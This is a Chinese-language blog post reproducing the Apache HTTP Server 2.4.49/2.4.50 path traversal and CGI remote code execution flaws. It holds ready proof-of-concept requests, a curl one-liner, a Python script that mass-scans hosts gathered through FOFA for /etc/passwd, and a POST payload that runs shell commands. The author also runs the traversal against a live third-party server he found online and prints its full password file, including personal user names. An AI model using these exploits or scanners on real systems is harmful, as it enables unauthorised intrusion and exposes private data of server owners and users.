本来想着8点多了休息一下,结果老板发信息说复现一下漏洞。那我就整一下吧。前几天电脑坏了之后里面东西丢了,虚拟机搭建的漏洞复现环境也没有了,所以只能FOFA找个网站直接干了。
https://pastebin.com/DHpCNz9n
目录穿越文件读取漏洞只影响2.4.49,2.4.50不完全修复可绕过,如果开启mod_cgi可RCE
Apache HTTP Server路径遍历
在 Apache HTTP Server 2.4.49 中对路径规范化所做的更改中发现了一个缺陷。攻击者可以使用路径遍历攻击将 URL 映射到预期文档根目录之外的文件。如果文档根目录之外的文件不受“要求全部拒绝”的保护,则这些请求可能会成功。此外,此缺陷可能会泄漏 CGI 脚本等解释文件的来源。已知此问题已被广泛利用。此问题仅影响 Apache 2.4.49 而不是早期版本。
server="Apache/2.4.49"
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 127.0.0.1:8080
单个URL的POC
curl -s --path-as-is "http://localhost:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
批量检测POC
import urllib.request
import ssl
from colorama import init
#添加Headers信息
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36',
}
for ip in open('server=Apache2.4.49.txt','r'):
ipv = ip.strip('\r\n')
url = f'{ipv}/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'
#防止ssl报错
context = ssl._create_unverified_context()
try:
re = urllib.request.Request(url=url,headers=headers)
response = urllib.request.urlopen(re,context=context,timeout=3)
response = response.read().decode('utf-8')
if "root:x:" in str(response):
print(f"\033[0;31m{url}\033[0m 可能存在漏洞")
with open('vul.txt','a',encoding='utf-8') as f:
f.write(ipv+"\r")
else:
print(f"{ipv}不存在漏洞")
except Exception as w:
print(f"{ipv}不存在漏洞")
https://X.X.X.X/etc/passwd
网站是个国外的Ubuntu-Apache2.4.49搭建的
请求包
GET https://X.X.X.X//icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Length: 0
回应包
Connection: close
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
admin:x:1000:1000:,,,:/home/admin:/bin/bash
mysql:x:111:115:MySQL Server,,,:/nonexistent:/bin/false
sandi:x:1001:1001:Sandi Molinari,,,:/home/sandi:/bin/bash
tims:x:1002:1002:TIMS,,,:/home/tims:/bin/bash
newtims:x:1003:1003:New TIMS,,,:/home/newtims:/bin/bash
Apache HTTP Server远程代码执行
Apache HTTP Server 2.4.50 中对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置 “要求全部拒绝” 的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则可以允许远程代码执行。
CGI(Common Gateway Interface)公共网关接口,是外部扩展应用程序与 Web 服务器交互的一个标准接口。是为提供网络服务而执行控制台应用 (或称命令行界面)的程序,提供于服务器上实现动态网页的通用协议。
若Apache HTTPd开启了cgi支持,攻击者可构造恶意请求执行命令,控制服务器。
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/plain
Content-Length: 8
echo; id
FOFA找了好多都没有开启Apache-cgi的网站,所以在靶场中测试了一下。
GET http://X.X.X.X:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: X.X.X.X:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
If-None-Match: "29cd-5cde5771ac040-gzip"
If-Modified-Since: Sat, 09 Oct 2021 06:18:33 GMT
Connection: close
Content-Length: 43
echo Content-Type: text/plain; echo; 命令